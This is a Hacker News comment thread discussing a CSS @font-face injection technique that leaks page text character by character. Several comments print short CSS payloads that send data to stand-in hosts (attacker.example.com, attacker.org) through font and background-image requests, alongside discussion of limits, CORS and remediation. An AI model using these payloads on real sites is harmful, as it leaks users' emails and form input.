Hacker News new | past | comments | ask | show | jobs | submit login
CSS Based Attack fontface (l0.cm)
176 points by renlinx on Nov 2, 2015 | hide | past | favorite | 41 comments



Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:

  @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?ff); /* ff */
    unicode-range: U+FB00;
  }

  #sensitive-information {
    font-family: poc;
    font-variant-ligatures: common-ligatures; 
  }
(edit: improved formatting/explanation)


I don’t see how this would work. When the browser renders an “ff” ligature, it does not do so by converting every “ff” in the input into U+FB00, as such it will never use this font unless the user input actually contains U+FB00 which is unlikely.


Khaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.


Neat, but don't think its exploitable in reality, but neat indeed.

Did a bit of play around with it and it does seem to work on input fields but fortunately not on password type fields (which is logical, considering the browser is not rendering the actual characters for password fields)

http://lepunk.co.uk/font_face.html


I know of one community website that allows users to use custom third-party CSS and that shows a user's email address in the settings page, so I think you could at least leak email addresses through this (you can target a single input with the fake font, and email addresses aren't random, so the caveat of repeated characters not showing isn't that problematic).

This site doesn't allow password unmasking, but if it did that would also make it quite vulnerable on this front.


> considering the browser is not rendering the actual characters for password fields

Unless you've got a 'show password' checkbox (as recommended by Jakob Nielsen - http://www.nngroup.com/articles/stop-password-masking/).


Any info on whether the new IE/Edge click-to-show password button exposes this vector?


tried, but it doesn't seem to do


I can't make this work on my side, both Chromium and Firefox block the requests for the font resources from l0.cm (because CORS policy):

    Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy:
    No 'Access-Control-Allow-Origin' header is present on the requested resource.
    Origin 'http://lepunk.co.uk' is therefore not allowed access.


That warning just stops the font from being visible to the victim.

I'm pretty sure the requests still go to the attacker.


> I'm pretty sure the requests still go to the attacker

You are right, they do, it's just that the returned data is not allowed to be seen/used by the page -- the "l0.cm" server still got the information.


i think thats just a matter of adding this header on the server side Access-Control-Allow-Origin:


Except for Edge, which has an "eye" symbol to show password fields content.

idk if that makes edge vulnerable to this on password fields though.

edit : I read below that Edge does not expose the password through this vulnerability.


Another interesting way of getting attribute values is using...

  [value*=a] {
    background-image: url('attacker.org/lolz.png?a');
  }

  [value*=b] {
    background-image: url('attacker.org/lolz.png?b');
  }


It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.


you could probably combine this with the font-face trick to target different letters


The issue on Chrome's bug tracker [0] that he's linking to appears to return a 403 error. Perhaps they changed their mind on WontFixing it?

[0] https://code.google.com/p/chromium/issues/detail?id=543078


Presumably a possible target for this would be reddit, where users can upload custom CSS to style their subreddits?

You could at least get the username, subscribed subreddits, and some debug info (such as the country code) this way...


They don't let you use urls. To use images in their custom stylesheet you have to upload it to reddit, then use a special code or something, that gets replaced with the image url.


I have to admit, I'm a bit confused about what is actually happening here. Can someone ELI5?


They're setting custom fonts, but specifying the fonts should only be used for particular characters.

This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit.

The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on.

They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on.

By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.


Okay, I understand now. Thanks.


If it's helpful: the "sting" of this attack is that it works even when you can't inject Javascript into the page; that's why it's referred to as an "HTML injection attack".

The canonical HTML injection attack is cross-site scripting --- it's so canonical, in fact, that we usually just think about XSS, and not the generalized flaw of HTML injection. This is an illustration of how even closing off Javascript as an attack vector doesn't stop HTML injection attacks from working.

See also:

http://lcamtuf.coredump.cx/postxss/


If you get HTML/CSS control isn't that game over? If I can get HTML loaded into your Gmail tab, then I can setup a fake login or "Please re-enter your password to continue" that has a form action of myserver. (Which then just redirects you to wherever you were.)

Injecting scripting is cute because it's far more flexible, but I'd guess an HTML injection is enough to get a fairly high rate of success, albeit a bit more noticeably.


Generally, we think of browser-based game-overs as being things that programmatically compromise users without engaging with the user's cognition.


Fair enough. Though in practise a HTML inject on a login page will have the same impact, usually eh?


  @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?A); /* fetched */
    unicode-range: U+0041;
  }

  #sensitive-information {
    font-family: poc;
  }
means "use the font-file 'http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text.

As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.


I'm not really experienced in @font-face, but I think it's specifing a different webfont for single unicode characters (using the range attribute). Chrome will then try to fetch the font from the many URLs, making an HTTP request for every character in the field (say "Hello" will try to fetch ?H, ?e, ?l, ?o) in the order it finds them.

If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order.

Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).


This may not work exactly as planned if your target string is expected to be long enough. You can see from his example that the fetching takes place out of order, as expected from asynchronous calls.


This can give you the characters but not their ordering or frequency. Still, it's a nice information leak. Yet another reason to disable custom fonts.


> Yet another reason to disable custom fonts

https://news.ycombinator.com/item?id=10492028


8^8 << 62^8 - getting the order is pretty trivial after that high jump.


What are the other reasons?


What would the attack vector be for something like this?


Same as most html injection attacks. I haven't tested as I'm on the way to work, but I will try to craft the attack as follows:

1: discover html attribute vulnerable to this. 2: craft payload as a link, for Dom, reflected or stored. 3: watch them type characters as rules are triggered. (Is this possible to use as a key logger?!)

So that's general, then more specifically As an attacker I would probably trigger a password lock of the target where the user has to enter security questions. Then gather that information. Another reason to hate security questions.

Remediation:

Output encode in the proper context! This most certainly qualifies as the exact reason why your fancy blacklist (or whitelist) filter set is not the proper mitigation for xss. In the above scenario, The attacker is injecting rules as inline css in the context of an html attribute, so then output encode in that context.

Also I need to check if it can bypass the CSP in any way, though I doubt it.

Sorry for the organization or this post, as I mentioned im on the train.


When I try the proofs of concept in Firefox 41, I see all font requests being done at once at page load time, regardless of whether the font resource is used or not. This actually foils the exploit.

I suppose this is the way to mitigate the issue, to download unconditionally all the font resources for which the `unicode-range` is smaller than a minimum number of characters?


That is because release builds of Firefox does not support unicode-range, it just downloads all the fonts. But for unicode-range to be really supported, it must only download the fonts for ranges used in the page, as this feature is usually used to split huge fonts (like CJK ones) and let the browser only downloads what is really needed.


Might be useful in conjunction with a path-relative stylesheet include.

http://blog.portswigger.net/2015/02/prssi.html


you could combine this with ::first-letter and custom selectors for each item of interest to get more specific data from targeted page elements...

If there was a way to target n-th letter in css, you could also get the full plaintext of an element with a huge number of font-face / selector combinations


This is another attack that is also preventable using NoScript, which blocks web fonts.

Unless you trust the site.


Could this be used within email messages? I know that some CSS is allowed in emails.


The short answer is probably not, for the simple reason that CSS and HTML support in email is generally pretty poor. Most webmail clients rely on having to rewrite CSS (for obvious reasons), which means that properties tend to be on a whitelist rather than a blacklist, and I think @font-face is usually not on that list. For many clients, there is also hopefully remote resource load prevention that prevents it from working.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: